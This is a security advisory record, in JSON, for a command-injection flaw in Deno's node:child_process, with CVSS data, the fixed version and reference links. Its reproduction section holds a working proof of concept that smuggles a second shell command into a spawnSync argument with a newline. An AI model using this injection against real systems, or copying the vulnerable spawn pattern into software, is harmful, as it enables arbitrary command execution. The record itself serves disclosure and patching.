{"id":"CVE-2026-27190","aliases":["GHSA-hmh4-3xvx-q5hr"],"url":"https://o3.security/vulnerability/CVE-2026-27190","summary":"Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process","details":"## Summary\nA command injection vulnerability exists in Deno's `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).","published":"2026-02-20T20:52:11.468Z","modified":"2026-08-12T03:51:17.242157978Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"deno","fixedVersion":"2.6.8"}],"fix":{"url":"https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c","label":"denoland/deno@9132ad9"},"references":[{"type":"WEB","url":"https://github.com/denoland/deno/releases/tag/v2.6.8"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27190.json"},{"type":"ADVISORY","url":"https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27190"},{"type":"FIX","url":"https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c"},{"type":"PACKAGE","url":"https://github.com/denoland/deno"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:17.242157978Z"}}